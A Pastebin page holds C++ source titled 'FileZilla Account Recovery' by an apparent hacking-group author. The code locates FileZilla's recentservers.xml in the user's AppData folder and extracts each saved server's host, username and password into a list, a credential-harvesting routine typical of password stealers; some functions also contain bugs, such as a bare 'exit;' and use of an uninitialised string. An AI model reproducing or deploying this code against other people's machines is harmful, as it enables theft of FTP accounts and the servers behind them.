Fakedo0r

FileZilla Account Recovery [C++ XE2]

Aug 27th, 2012
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.58 KB | None | 0 0
  1. // *****************************************************************************
  2. // * CPP:            CPP_GetFileZillaAccounts
  3. // * AUTOR:          Fakedo0r .:PD-TEAM:.
  4. // * FECHA:          27.08.2012
  5. // * CORREO:         [email protected]
  6. // * BLOG:           Sub-Soul.blogspot.com / Sub-Soul.com
  7. // * REQUERIMIENTOS: Librerias Estandar EMBARCADERO XE2
  8. // *****************************************************************************
  9. // *****************************************************************************
  10. // #INCLUDE
  11. // *****************************************************************************
  12. #include <Shlobj.h>
  13. #include <System.hpp>
  14. #include <SysUtils.hpp>
  15. #include <StrUtils.hpp>
  16. #include <vector>
  17. // *****************************************************************************
  18. // DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  19. // *****************************************************************************
  20. Boolean IsFileExists(String sFile);
  21. String ReadFileAPI(String sFile);
  22. String GetSpecialFolderAPI(int iCSDL);
  23. String ByteArrayToString(std::vector<Byte>vbArray);
  24. String StrCenter(String sCadena, String sDel_1, String sDel_2);
  25. std::vector<String>GetFileZilaAccounts(String sSepInt);
  26. std::vector<String>Split(String sCadena, String sDelimitador);
  27.  
  28. // *****************************************************************************
  29. // <--- RECUPERA LAS CUENTAS DE FILEZILLA --->
  30. // *****************************************************************************
  31. std::vector<String>GetFileZilaAccounts(String sSepInt) {
  32.  
  33.     int I;
  34.     String sPath;
  35.     String sHost;
  36.     String sUser;
  37.     String sPass;
  38.     String sAccounts;
  39.     std::vector<String>vsAcoounts;
  40.     std::vector<String>vsTemp;
  41.  
  42.     sPath = GetSpecialFolderAPI(CSIDL_APPDATA) +
  43.         "\\FileZilla\\recentservers.xml";
  44.  
  45.     if (IsFileExists(sPath) == false) {
  46.         exit;
  47.     }
  48.  
  49.     sAccounts = ReadFileAPI(sPath);
  50.     sAccounts = StrCenter(sAccounts, "<RecentServers>", "</RecentServers>");
  51.     vsAcoounts = Split(sAccounts, "<Server>");
  52.  
  53.     for (I = 1; I < vsAcoounts.size(); I++) {
  54.         sHost = StrCenter(vsAcoounts[I], "<Host>", "</Host>");
  55.         sUser = StrCenter(vsAcoounts[I], "<User>", "</User>");
  56.         sPass = StrCenter(vsAcoounts[I], "<Pass>", "</Pass>");
  57.  
  58.         vsTemp.push_back(sHost + sSepInt +
  59.                                  sUser + sSepInt +
  60.                                  sPass);
  61.     }
  62.  
  63.     return vsTemp;
  64. }
  65.  
  66. // *****************************************************************************
  67. // <--- OBTIENE RUTAS ESPECIALES --->
  68. // *****************************************************************************
  69. String GetSpecialFolderAPI(int iCSDL) {
  70.  
  71.     wchar_t pszPath[MAX_PATH];
  72.     ITEMIDLIST * tIDL;
  73.  
  74.     HRESULT hRet = SHGetSpecialFolderLocation(0, iCSDL, &tIDL);
  75.  
  76.     if (hRet != NOERROR) {
  77.         return 0;
  78.     }
  79.  
  80.     SHGetPathFromIDList(tIDL, pszPath);
  81.  
  82.     return String(pszPath);
  83. }
  84.  
  85. // *****************************************************************************
  86. // <--- COMPRUEBA SI EL FICHERO EXISTE --->
  87. // *****************************************************************************
  88. Boolean IsFileExists(String sFile) {
  89.  
  90.     HRESULT hRes = GetFileAttributes(sFile.w_str());
  91.  
  92.     if (hRes == INVALID_FILE_ATTRIBUTES) {
  93.         return false;
  94.     }
  95.     else {
  96.         return true;
  97.     }
  98. }
  99.  
  100. // *****************************************************************************
  101. // <--- LECTURA [API NATIVO] --->
  102. // *****************************************************************************
  103. String ReadFileAPI(String sFile) {
  104.  
  105.     DWORD dwRet = 0;
  106.     int iSize = 0;
  107.     HANDLE hFile;
  108.     std::vector<Byte>vbBuffer;
  109.  
  110.     hFile = CreateFile(UnicodeString(sFile).c_str(), GENERIC_READ,
  111.         FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  112.  
  113.     if (hFile == INVALID_HANDLE_VALUE) {
  114.         return 0;
  115.     }
  116.  
  117.     iSize = GetFileSize(hFile, 0);
  118.     vbBuffer.resize(iSize);
  119.  
  120.     SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
  121.     ReadFile(hFile, &vbBuffer[0], iSize, &dwRet, NULL);
  122.     CloseHandle(hFile);
  123.  
  124.     return ByteArrayToString(vbBuffer);
  125. }
  126.  
  127. // *****************************************************************************
  128. // <--- CONVIERTE ARRAY DE BYTES EN STRING --->
  129. // *****************************************************************************
  130. String ByteArrayToString(std::vector<Byte>vbArray) {
  131.  
  132.     String sResult;
  133.     Integer I;
  134.  
  135.     sResult.SetLength(vbArray.size());
  136.  
  137.     for (I = 0; I < vbArray.size(); I++) {
  138.         sResult[I + 1] = vbArray[I];
  139.     }
  140.  
  141.     return sResult;
  142. }
  143.  
  144. // *****************************************************************************
  145. // <--- SPLIT --->
  146. // *****************************************************************************
  147. std::vector<String>Split(String sCadena, String sDelimitador) {
  148.  
  149.     int I;
  150.     std::vector<String>vsTemp;
  151.  
  152.     for (I = 0; I < sCadena.Length(); I++) {
  153.         if (Pos(sDelimitador, sCadena) == 0) {
  154.             vsTemp.push_back(MidStr(AnsiString(sCadena), 1, sCadena.Length()));
  155.             return vsTemp;
  156.         }
  157.         else {
  158.             vsTemp.push_back(MidStr(AnsiString(sCadena), 1,
  159.                 Pos(sDelimitador, sCadena) - 1));
  160.             sCadena = MidStr(AnsiString(sCadena),
  161.                 vsTemp[I].Length() + sDelimitador.Length() + 1,
  162.                 sCadena.Length() - sDelimitador.Length());
  163.         }
  164.     }
  165.  
  166.     return vsTemp;
  167. }
  168.  
  169. // *****************************************************************************
  170. // <--- OBTIENE LA CADENA CENTRAL --->
  171. // *****************************************************************************
  172. String StrCenter(String sCadena, String sDel_1, String sDel_2) {
  173.  
  174.     String sTemp;
  175.  
  176.     sTemp = MidStr(AnsiString(sCadena), Pos(sDel_1, sCadena) + sDel_1.Length(),
  177.         sCadena.Length() - Pos(sDel_2, sTemp));
  178.     sTemp = MidStr(AnsiString(sTemp), 1, AnsiPos(sDel_2, sTemp) - 1);
  179.  
  180.     return sTemp;
  181. }
Advertisement
Add Comment
Please, Sign In to add comment